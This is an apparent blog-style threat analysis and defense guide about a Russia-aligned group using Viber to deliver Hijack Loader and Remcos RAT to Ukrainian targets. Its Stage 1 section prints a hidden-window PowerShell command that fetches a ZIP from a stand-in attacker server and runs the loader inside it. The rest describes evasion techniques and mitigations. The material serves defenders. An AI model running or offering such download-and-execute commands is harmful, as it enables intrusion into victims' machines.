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In January 2026, cybersecurity researchers uncovered a sophisticated attack campaign where the Russia-aligned threat actor UAC-0184 (Hive0156) successfully breached Ukrainian military and government systems. Their primary weapon wasn't a novel malware strain, but the clever abuse of a trusted communication platform: Viber. This Viber messaging attack represents a significant shift in cyber-espionage tactics, moving beyond email to exploit the inherent trust in personal and professional messaging apps.

For cybersecurity professionals and students, understanding this attack is crucial. It's a masterclass in social engineering, defense evasion, and persistence. This guide will dissect the entire attack chain, from the malicious message to the silent installation of a Remote Access Trojan (RAT), and provide you with actionable defense strategies to detect and prevent similar intrusions.

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Executive Summary: The Evolving Threat Landscape

The group UAC-0184, first documented by CERT-UA in 2024, has consistently targeted Ukrainian entities. Their latest campaign demonstrates a worrying evolution: the use of encrypted messaging apps like Viber, Signal, and Telegram as primary infection vectors. This bypasses traditional email security gateways that organizations heavily invest in.

The core of this Viber messaging attack is a multi-stage payload delivery system. It begins with a simple ZIP file sent via Viber and culminates in the deployment of Remcos RAT, a powerful commercial surveillance tool that gives attackers complete control over the victim's computer. The technical sophistication lies not in the final payload, but in the stealthy loader, Hijack Loader, and its advanced evasion techniques.

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The Attack Scenario: A Hypothetical Walkthrough

Let's follow the attack from the perspective of a target, a logistics officer in a government department.

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Technical Breakdown: The Kill Chain Exposed

This section delves into the exact mechanisms and code behind each stage of the Viber messaging attack. Understanding these details is key to building effective detections.

Stage 1: Malicious LNK File & PowerShell Downloader

When the victim double-clicks the malicious LNK file, it executes two actions simultaneously using the "Target" field in its properties:

1. It opens a harmless decoy document (e.g., a blurred or generic PDF) to maintain the illusion.
2. It silently executes a PowerShell command to download the next stage.

The command hidden within the LNK file would look something like this:

powershell -WindowStyle Hidden -Command # Hides the PowerShell window "# Downloads the second-stage payload from the attacker's server $url = 'hxxp://malicious-server[.]com/smoothieks.zip'; $output = '$env:TEMP\\smoothieks.zip'; Invoke-WebRequest -Uri $url -OutFile $output; # Extracts and executes the content Expand-Archive -Path $output -DestinationPath '$env:TEMP\\smoothieks\\' -Force; Start-Process '$env:TEMP\\smoothieks\\loader.exe'"

Stage 2: Hijack Loader & Evasion Techniques

The downloaded file, "smoothieks.zip," contains Hijack Loader. This loader is deployed in memory using sophisticated techniques to avoid writing a malicious file to disk, thus evading signature-based antivirus.

• DLL Side-Loading: The loader abuses a legitimate, signed Windows executable (e.g., a software updater). It places a malicious DLL in the same directory, knowing the legitimate executable will load it. This executes malicious code under the guise of a trusted process.
• Module Stomping: The loader injects its code into an already-loaded, legitimate DLL in the system's memory, overwriting part of its functions. This makes the malicious code run from a trusted memory region.

Before deploying the final payload, Hijack Loader performs environment reconnaissance. It calculates CRC32 hashes of installed antivirus process names (e.g., "avastui.exe", "msmpeng.exe") to identify and potentially evade specific security software from Kaspersky, Avast, BitDefender, and others.

Stage 3: Persistence & Remcos RAT Deployment

To ensure it survives a reboot, the loader creates a scheduled task via Windows Task Scheduler. The task is configured to run a seemingly benign script or executable at logon, which will re-fetch or reactivate the malware.

Finally, Hijack Loader retrieves and executes the final payload: Remcos RAT. It injects the RAT into a legitimate Windows process, often "chime.exe" (a system sound process), a technique known as process hollowing. This gives Remcos the appearance of a normal system process.

Remcos provides the attackers with a graphical control panel to:

• Log keystrokes and steal credentials.
• Activate the webcam and microphone for surveillance.
• Exfiltrate files and documents.
• Execute arbitrary commands on the victim's machine.

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Proactive Defense Framework

Defending against a multi-vector Viber messaging attack requires a layered security approach. The following framework, aligned with the NIST Cybersecurity Framework, provides concrete actions.

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Red Team vs. Blue Team: Tactical Perspectives

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Common Vulnerabilities & Mitigation Best Practices

Common Security Gap / Mistake	How the Attack Exploits It	Best Practice Mitigation
Lack of user training on non-email phishing	Users are trained to be wary of email attachments but not files received via messaging apps like Viber, WhatsApp, or Telegram.	Implement ongoing security awareness training that covers phishing across all communication channels. Use real-world examples like this Viber messaging attack.
Default Windows hiding file extensions	The malicious "Document.lnk" appears as "Document" with a Word icon, perfectly disguising its true nature.	Enforce via Group Policy that Windows shows file extensions for known types. This would reveal the ".lnk" extension, raising immediate suspicion.
Over-reliance on signature-based AV	Hijack Loader's fileless and DLL side-loading techniques easily bypass static malware signatures.	Augment AV with behavior-based secure solutions like EDR that monitor for malicious sequences of behavior (e.g., process injection, suspicious PowerShell activities).
Unrestricted outbound internet access	The PowerShell script can freely download the second-stage payload from the attacker's server.	Implement a secure web gateway or proxy to filter and log all outbound traffic. Block connections to newly registered domains or non-business related IP ranges.
No enforcement of strong passwords and MFA	If the attacker aims to move laterally, weak credentials make this easy.	Enforce a strong password policy and mandate Multi-Factor Authentication (MFA) for all user accounts, especially administrative and email accounts, to limit lateral movement.

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The Attack Flow

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Frequently Asked Questions (FAQ)

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Key Takeaways for Security Practitioners

• The Viber messaging attack underscores that the attack surface has expanded. Your organization's phishing defense must encompass all communication tools, not just email.
• Advanced attackers invest more in delivery and evasion than in the final payload. Understanding loader techniques like DLL side-loading and module stomping is essential for modern defense.
• Detection must focus on behavioral chains and anomalies (e.g., unusual process parent-child relationships, PowerShell making network calls) rather than relying solely on static IOCs (Indicators of Compromise) which become obsolete quickly.
• Effective defense is layered. Combine secure configuration (showing file extensions), technical controls (application allowlisting, EDR), continuous user education, and robust logging.
• Frameworks like MITRE ATT&CK are invaluable for both understanding adversary behavior and systematically identifying gaps in your own defenses.

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Call to Action: Fortify Your Defenses

Don't wait for a breach to happen. Use the intelligence from this Viber messaging attack to proactively strengthen your security posture. Here is your immediate action plan: